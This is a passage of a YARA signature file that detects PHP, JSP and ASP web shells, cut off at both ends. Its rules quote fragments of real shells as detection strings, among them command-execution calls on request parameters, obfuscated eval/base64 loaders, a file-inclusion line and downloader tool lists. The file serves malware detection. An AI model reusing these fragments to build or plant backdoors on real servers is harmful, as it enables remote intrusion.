		hash = "0911b6e6b8f4bcb05599b2885a7fe8a8"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');" fullword

	condition:
		all of them
}

rule webshell_jsp_tree
{
	meta:
		description = "Web Shell - file tree.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "bcdf7bbf7bbfa1ffa4f9a21957dbcdfa"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s5 = "$('#tt2').tree('options').url = \"selectChild.action?checki"
		$s6 = "String basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+requ"

	condition:
		all of them
}

rule webshell_C99madShell_v_3_0_smowu
{
	meta:
		description = "Web Shell - file smowu.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "74e1e7c7a6798f1663efb42882b85bee"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s2 = "<tr><td width=\"50%\" height=\"1\" valign=\"top\"><center><b>:: Enter ::</b><for"
		$s8 = "<p><font color=red>Wordpress Not Found! <input type=text id=\"wp_pat\"><input ty"

	condition:
		1 of them
}

rule webshell_simple_backdoor
{
	meta:
		description = "Web Shell - file simple-backdoor.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "f091d1b9274c881f8e41b2f96e6b9936"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "$cmd = ($_REQUEST['cmd']);" fullword
		$s1 = "if(isset($_REQUEST['cmd'])){" fullword
		$s4 = "system($cmd);" fullword

	condition:
		2 of them
}

rule webshell_PHP_404
{
	meta:
		description = "Web Shell - file 404.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "078c55ac475ab9e028f94f879f548bca"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s4 = "<span>Posix_getpwuid (\"Read\" /etc/passwd)"

	condition:
		all of them
}

rule webshell_Macker_s_Private_PHPShell
{
	meta:
		description = "Web Shell - file Macker's Private PHPShell.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "e24cbf0e294da9ac2117dc660d890bb9"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s3 = "echo \"<tr><td class=\\\"silver border\\\">&nbsp;<strong>Server's PHP Version:&n"
		$s4 = "&nbsp;&nbsp;<?php echo buildUrl(\"<font color=\\\"navy\\\">["
		$s7 = "echo \"<form action=\\\"$SFileName?$urlAdd\\\" method=\\\"POST\\\"><input type="

	condition:
		all of them
}

rule webshell_Antichat_Shell_v1_3_2
{
	meta:
		description = "Web Shell - file Antichat Shell v1.3.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "40d0abceba125868be7f3f990f031521"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s3 = "$header='<html><head><title>'.getenv(\"HTTP_HOST\").' - Antichat Shell</title><m"

	condition:
		all of them
}

rule webshell_Safe_mode_breaker
{
	meta:
		description = "Web Shell - file Safe mode breaker.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "5bd07ccb1111950a5b47327946bfa194"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s5 = "preg_match(\"/SAFE\\ MODE\\ Restriction\\ in\\ effect\\..*whose\\ uid\\ is("
		$s6 = "$path =\"{$root}\".((substr($root,-1)!=\"/\") ? \"/\" : NULL)."

	condition:
		1 of them
}

rule webshell_Sst_Sheller
{
	meta:
		description = "Web Shell - file Sst-Sheller.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "d93c62a0a042252f7531d8632511ca56"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s2 = "echo \"<a href='?page=filemanager&id=fm&fchmod=$dir$file'>"
		$s3 = "<? unlink($filename); unlink($filename1); unlink($filename2); unlink($filename3)"

	condition:
		all of them
}

rule webshell_jsp_list
{
	meta:
		description = "Web Shell - file list.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "1ea290ff4259dcaeb680cec992738eda"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "<FORM METHOD=\"POST\" NAME=\"myform\" ACTION=\"\">" fullword
		$s2 = "out.print(\") <A Style='Color: \" + fcolor.toString() + \";' HRef='?file=\" + fn"
		$s7 = "if(flist[i].canRead() == true) out.print(\"r\" ); else out.print(\"-\");" fullword

	condition:
		all of them
}

rule webshell_PHPJackal_v1_5
{
	meta:
		description = "Web Shell - file PHPJackal v1.5.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "d76dc20a4017191216a0315b7286056f"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s7 = "echo \"<center>${t}MySQL cilent:</td><td bgcolor=\\\"#333333\\\"></td></tr><form"
		$s8 = "echo \"<center>${t}Wordlist generator:</td><td bgcolor=\\\"#333333\\\"></td></tr"

	condition:
		all of them
}

rule webshell_customize
{
	meta:
		description = "Web Shell - file customize.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "d55578eccad090f30f5d735b8ec530b1"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s4 = "String cs = request.getParameter(\"z0\")==null?\"gbk\": request.getParameter(\"z"

	condition:
		all of them
}

rule webshell_s72_Shell_v1_1_Coding
{
	meta:
		description = "Web Shell - file s72 Shell v1.1 Coding.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "c2e8346a5515c81797af36e7e4a3828e"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s5 = "<font face=\"Verdana\" style=\"font-size: 8pt\" color=\"#800080\">Buradan Dosya "

	condition:
		all of them
}

rule webshell_jsp_sys3
{
	meta:
		description = "Web Shell - file sys3.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "b3028a854d07674f4d8a9cf2fb6137ec"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s1 = "<input type=\"submit\" name=\"btnSubmit\" value=\"Upload\">" fullword
		$s4 = "String path=new String(request.getParameter(\"path\").getBytes(\"ISO-8859-1\""
		$s9 = "<%@page contentType=\"text/html;charset=gb2312\"%>" fullword

	condition:
		all of them
}

rule webshell_jsp_guige02
{
	meta:
		description = "Web Shell - file guige02.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "a3b8b2280c56eaab777d633535baf21d"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "????????????????%><html><head><title>hahahaha</title></head><body bgcolor=\"#fff"
		$s1 = "<%@page contentType=\"text/html; charset=GBK\" import=\"java.io.*;\"%><%!private"

	condition:
		all of them
}

rule webshell_php_ghost
{
	meta:
		description = "Web Shell - file ghost.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "38dc8383da0859dca82cf0c943dbf16d"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s1 = "<?php $OOO000000=urldecode('%61%68%36%73%62%65%68%71%6c%61%34%63%6f%5f%73%61%64'"
		$s6 = "//<img width=1 height=1 src=\"http://websafe.facaiok.com/just7z/sx.asp?u=***.***"
		$s7 = "preg_replace('\\'a\\'eis','e'.'v'.'a'.'l'.'(KmU(\"" fullword

	condition:
		all of them
}

rule webshell_WinX_Shell
{
	meta:
		description = "Web Shell - file WinX Shell.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "17ab5086aef89d4951fe9b7c7a561dda"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s5 = "print \"<font face=\\\"Verdana\\\" size=\\\"1\\\" color=\\\"#990000\\\">Filenam"
		$s8 = "print \"<font face=\\\"Verdana\\\" size=\\\"1\\\" color=\\\"#990000\\\">File: </"

	condition:
		all of them
}

rule webshell_Crystal_Crystal
{
	meta:
		description = "Web Shell - file Crystal.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "fdbf54d5bf3264eb1c4bff1fac548879"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s1 = "show opened ports</option></select><input type=\"hidden\" name=\"cmd_txt\" value"
		$s6 = "\" href=\"?act=tools\"><font color=#CC0000 size=\"3\">Tools</font></a></span></f"

	condition:
		all of them
}

rule webshell_r57_1_4_0
{
	meta:
		description = "Web Shell - file r57.1.4.0.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "574f3303e131242568b0caf3de42f325"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s4 = "@ini_set('error_log',NULL);" fullword
		$s6 = "$pass='abcdef1234567890abcdef1234567890';" fullword
		$s7 = "@ini_restore(\"disable_functions\");" fullword
		$s9 = "@ini_restore(\"safe_mode_exec_dir\");" fullword

	condition:
		all of them
}

rule webshell_asp_ajn
{
	meta:
		description = "Web Shell - file ajn.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "aaafafc5d286f0bff827a931f6378d04"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s1 = "seal.write \"Set WshShell = CreateObject(\"\"WScript.Shell\"\")\" & vbcrlf" fullword
		$s6 = "seal.write \"BinaryStream.SaveToFile \"\"c:\\downloaded.zip\"\", adSaveCreateOve"

	condition:
		all of them
}

rule webshell_php_cmd
{
	meta:
		description = "Web Shell - file cmd.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "c38ae5ba61fd84f6bbbab98d89d8a346"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "if($_GET['cmd']) {" fullword
		$s1 = "// cmd.php = Command Execution" fullword
		$s7 = "  system($_GET['cmd']);" fullword

	condition:
		all of them
}

rule webshell_asp_list
{
	meta:
		description = "Web Shell - file list.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "1cfa493a165eb4b43e6d4cc0f2eab575"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "<INPUT TYPE=\"hidden\" NAME=\"type\" value=\"<%=tipo%>\">" fullword
		$s4 = "Response.Write(\"<h3>FILE: \" & file & \"</h3>\")" fullword

	condition:
		all of them
}

rule webshell_PHP_co
{
	meta:
		description = "Web Shell - file co.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "62199f5ac721a0cb9b28f465a513874c"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "cGX6R9q733WvRRjISKHOp9neT7wa6ZAD8uthmVJV" fullword
		$s11 = "6Mk36lz/HOkFfoXX87MpPhZzBQH6OaYukNg1OE1j" fullword

	condition:
		all of them
}

rule webshell_PHP_150
{
	meta:
		description = "Web Shell - file 150.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "400c4b0bed5c90f048398e1d268ce4dc"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "HJ3HjqxclkZfp"
		$s1 = "<? eval(gzinflate(base64_decode('" fullword

	condition:
		all of them
}

rule webshell_jsp_cmdjsp_2
{
	meta:
		description = "Web Shell - file cmdjsp.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "1b5ae3649f03784e2a5073fa4d160c8b"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "Process p = Runtime.getRuntime().exec(\"cmd.exe /C \" + cmd);" fullword
		$s4 = "<FORM METHOD=GET ACTION='cmdjsp.jsp'>" fullword

	condition:
		all of them
}

rule webshell_PHP_c37
{
	meta:
		description = "Web Shell - file c37.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "d01144c04e7a46870a8dd823eb2fe5c8"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s3 = "array('cpp','cxx','hxx','hpp','cc','jxx','c++','vcproj'),"
		$s9 = "++$F; $File = urlencode($dir[$dirFILE]); $eXT = '.:'; if (strpos($dir[$dirFILE],"

	condition:
		all of them
}

rule webshell_PHP_b37
{
	meta:
		description = "Web Shell - file b37.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "0421445303cfd0ec6bc20b3846e30ff0"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "xmg2/G4MZ7KpNveRaLgOJvBcqa2A8/sKWp9W93NLXpTTUgRc"

	condition:
		all of them
}

rule webshell_php_backdoor
{
	meta:
		description = "Web Shell - file php-backdoor.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "2b5cb105c4ea9b5ebc64705b4bd86bf7"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s1 = "if(!move_uploaded_file($HTTP_POST_FILES['file_name']['tmp_name'], $dir.$fname))" fullword
		$s2 = "<pre><form action=\"<? echo $PHP_SELF; ?>\" METHOD=GET >execute command: <input "

	condition:
		all of them
}

rule webshell_asp_dabao
{
	meta:
		description = "Web Shell - file dabao.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "3919b959e3fa7e86d52c2b0a91588d5d"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s2 = " Echo \"<input type=button name=Submit onclick=\"\"document.location =&#039;\" &"
		$s8 = " Echo \"document.Frm_Pack.FileName.value=\"\"\"\"+year+\"\"-\"\"+(month+1)+\"\"-"

	condition:
		all of them
}

rule webshell_php_2
{
	meta:
		description = "Web Shell - file 2.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "267c37c3a285a84f541066fc5b3c1747"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "<?php assert($_REQUEST[\"c\"]);?> " fullword

	condition:
		all of them
}

rule webshell_asp_cmdasp
{
	meta:
		description = "Web Shell - file cmdasp.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "57b51418a799d2d016be546f399c2e9b"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "<%= \"\\\\\" & oScriptNet.ComputerName & \"\\\" & oScriptNet.UserName %>" fullword
		$s7 = "Call oScript.Run (\"cmd.exe /c \" & szCMD & \" > \" & szTempFile, 0, True)" fullword

	condition:
		all of them
}

rule webshell_spjspshell
{
	meta:
		description = "Web Shell - file spjspshell.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "d39d51154aaad4ba89947c459a729971"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s7 = "Unix:/bin/sh -c tar vxf xxx.tar Windows:c:\\winnt\\system32\\cmd.exe /c type c:"

	condition:
		all of them
}

rule webshell_jsp_action
{
	meta:
		description = "Web Shell - file action.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "5a7d931094f5570aaf5b7b3b06c3d8c0"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s1 = "String url=\"jdbc:oracle:thin:@localhost:1521:orcl\";" fullword
		$s6 = "<%@ page contentType=\"text/html;charset=gb2312\"%>" fullword

	condition:
		all of them
}

rule webshell_Inderxer
{
	meta:
		description = "Web Shell - file Inderxer.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "9ea82afb8c7070817d4cdf686abe0300"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s4 = "<td>Nereye :<td><input type=\"text\" name=\"nereye\" size=25></td><td><input typ"

	condition:
		all of them
}

rule webshell_asp_Rader
{
	meta:
		description = "Web Shell - file Rader.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "ad1a362e0a24c4475335e3e891a01731"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s1 = "FONT-WEIGHT: bold; FONT-SIZE: 10px; BACKGROUND: none transparent scroll repeat 0"
		$s3 = "m\" target=inf onClick=\"window.open('?action=help','inf','width=450,height=400 "

	condition:
		all of them
}

rule webshell_c99_madnet_smowu
{
	meta:
		description = "Web Shell - file smowu.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "3aaa8cad47055ba53190020311b0fb83"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "//Authentication" fullword
		$s1 = "$login = \"" fullword
		$s2 = "eval(gzinflate(base64_decode('"
		$s4 = "//Pass"
		$s5 = "$md5_pass = \""
		$s6 = "//If no pass then hash"

	condition:
		all of them
}

rule webshell_php_moon
{
	meta:
		description = "Web Shell - file moon.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "2a2b1b783d3a2fa9a50b1496afa6e356"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s2 = "echo '<option value=\"create function backshell returns string soname"
		$s3 = "echo      \"<input name='p' type='text' size='27' value='\".dirname(_FILE_).\""
		$s8 = "echo '<option value=\"select cmdshell(\\'net user "

	condition:
		2 of them
}

rule webshell_minupload
{
	meta:
		description = "Web Shell - file minupload.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "ec905a1395d176c27f388d202375bdf9"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "<input type=\"submit\" name=\"btnSubmit\" value=\"Upload\">   " fullword
		$s9 = "String path=new String(request.getParameter(\"path\").getBytes(\"ISO-8859"

	condition:
		all of them
}

rule webshell_ELMALISEKER_Backd00r
{
	meta:
		description = "Web Shell - file ELMALISEKER Backd00r.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "3aa403e0a42badb2c23d4a54ef43e2f4"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "response.write(\"<tr><td bgcolor=#F8F8FF><input type=submit name=cmdtxtFileOptio"
		$s2 = "if FP = \"RefreshFolder\" or request.form(\"cmdOption\")=\"DeleteFolder\" or req"

	condition:
		all of them
}

rule webshell_PHP_bug_1_
{
	meta:
		description = "Web Shell - file bug (1).php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "91c5fae02ab16d51fc5af9354ac2f015"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "@include($_GET['bug']);" fullword

	condition:
		all of them
}

rule webshell_caidao_shell_hkmjj
{
	meta:
		description = "Web Shell - file hkmjj.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "e7b994fe9f878154ca18b7cde91ad2d0"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s6 = "codeds=\"Li#uhtxhvw+%{{%,#@%{%#wkhq#hydo#uhtxhvw+%knpmm%,#hqg#li\"  " fullword

	condition:
		all of them
}

rule webshell_jsp_asd
{
	meta:
		description = "Web Shell - file asd.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "a042c2ca64176410236fcc97484ec599"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s3 = "<%@ page language=\"java\" pageEncoding=\"gbk\"%>" fullword
		$s6 = "<input size=\"100\" value=\"<%=application.getRealPath(\"/\") %>\" name=\"url"

	condition:
		all of them
}

rule webshell_metaslsoft
{
	meta:
		description = "Web Shell - file metaslsoft.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "aa328ed1476f4a10c0bcc2dde4461789"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s7 = "$buff .= \"<tr><td><a href=\\\"?d=\".$pwd.\"\\\">[ $folder ]</a></td><td>LINK</t"

	condition:
		all of them
}

rule webshell_asp_Ajan
{
	meta:
		description = "Web Shell - file Ajan.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "b6f468252407efc2318639da22b08af0"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s3 = "entrika.write \"BinaryStream.SaveToFile \"\"c:\\downloaded.zip\"\", adSaveCreate"

	condition:
		all of them
}

rule webshell_config_myxx_zend
{
	meta:
		description = "Web Shell - from files config.jsp, myxx.jsp, zend.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "d44df8b1543b837e57cc8f25a0a68d92"
		hash1 = "e0354099bee243702eb11df8d0e046df"
		hash2 = "591ca89a25f06cf01e4345f98a22845c"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s3 = ".println(\"<a href=\\\"javascript:alert('You Are In File Now ! Can Not Pack !');"

	condition:
		all of them
}

rule webshell_browser_201_3_ma_download
{
	meta:
		description = "Web Shell - from files browser.jsp, 201.jsp, 3.jsp, ma.jsp, download.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "37603e44ee6dc1c359feb68a0d566f76"
		hash1 = "a7e25b8ac605753ed0c438db93f6c498"
		hash2 = "fb8c6c3a69b93e5e7193036fd31a958d"
		hash3 = "4cc68fa572e88b669bce606c7ace0ae9"
		hash4 = "fa87bbd7201021c1aefee6fcc5b8e25a"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s2 = "<small>jsp File Browser version <%= VERSION_NR%> by <a"
		$s3 = "else if (fName.endsWith(\".mpg\") || fName.endsWith(\".mpeg\") || fName.endsWith"

	condition:
		all of them
}

rule webshell_itsec_itsecteam_shell_jHn
{
	meta:
		description = "Web Shell - from files itsec.php, itsecteam_shell.php, jHn.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "8ae9d2b50dc382f0571cd7492f079836"
		hash1 = "bd6d3b2763c705a01cc2b3f105a25fa4"
		hash2 = "40c6ecf77253e805ace85f119fe1cebb"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s4 = "echo $head.\"<font face='Tahoma' size='2'>Operating System : \".php_uname().\"<b"
		$s5 = "echo \"<center><form name=client method='POST' action='$_SERVER[PHP_SELF]?do=db'"

	condition:
		all of them
}

rule webshell_ghost_source_icesword_silic
{
	meta:
		description = "Web Shell - from files ghost_source.php, icesword.php, silic.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "cbf64a56306c1b5d98898468fc1fdbd8"
		hash1 = "6e20b41c040efb453d57780025a292ae"
		hash2 = "437d30c94f8eef92dc2f064de4998695"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s3 = "if(eregi('WHERE|LIMIT',$_POST['nsql']) && eregi('SELECT|FROM',$_POST['nsql'])) $"
		$s6 = "if(!empty($_FILES['ufp']['name'])){if($_POST['ufn'] != '') $upfilename = $_POST["

	condition:
		all of them
}

rule webshell_JspSpy_JspSpyJDK5_JspSpyJDK51_luci_jsp_spy2009_m_ma3_xxx
{
	meta:
		description = "Web Shell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "2eeb8bf151221373ee3fd89d58ed4d38"
		hash1 = "059058a27a7b0059e2c2f007ad4675ef"
		hash2 = "ae76c77fb7a234380cd0ebb6fe1bcddf"
		hash3 = "76037ebd781ad0eac363d56fc81f4b4f"
		hash4 = "8b457934da3821ba58b06a113e0d53d9"
		hash5 = "fc44f6b4387a2cb50e1a63c66a8cb81c"
		hash6 = "14e9688c86b454ed48171a9d4f48ace8"
		hash7 = "b330a6c2d49124ef0729539761d6ef0b"
		hash8 = "d71716df5042880ef84427acee8b121e"
		hash9 = "341298482cf90febebb8616426080d1d"
		hash10 = "29aebe333d6332f0ebc2258def94d57e"
		hash11 = "42654af68e5d4ea217e6ece5389eb302"
		hash12 = "88fc87e7c58249a398efd5ceae636073"
		hash13 = "4a812678308475c64132a9b56254edbc"
		hash14 = "9626eef1a8b9b8d773a3b2af09306a10"
		hash15 = "344f9073576a066142b2023629539ebd"
		hash16 = "32dea47d9c13f9000c4c807561341bee"
		hash17 = "90a5ba0c94199269ba33a58bc6a4ad99"
		hash18 = "655722eaa6c646437c8ae93daac46ae0"
		hash19 = "b9744f6876919c46a29ea05b1d95b1c3"
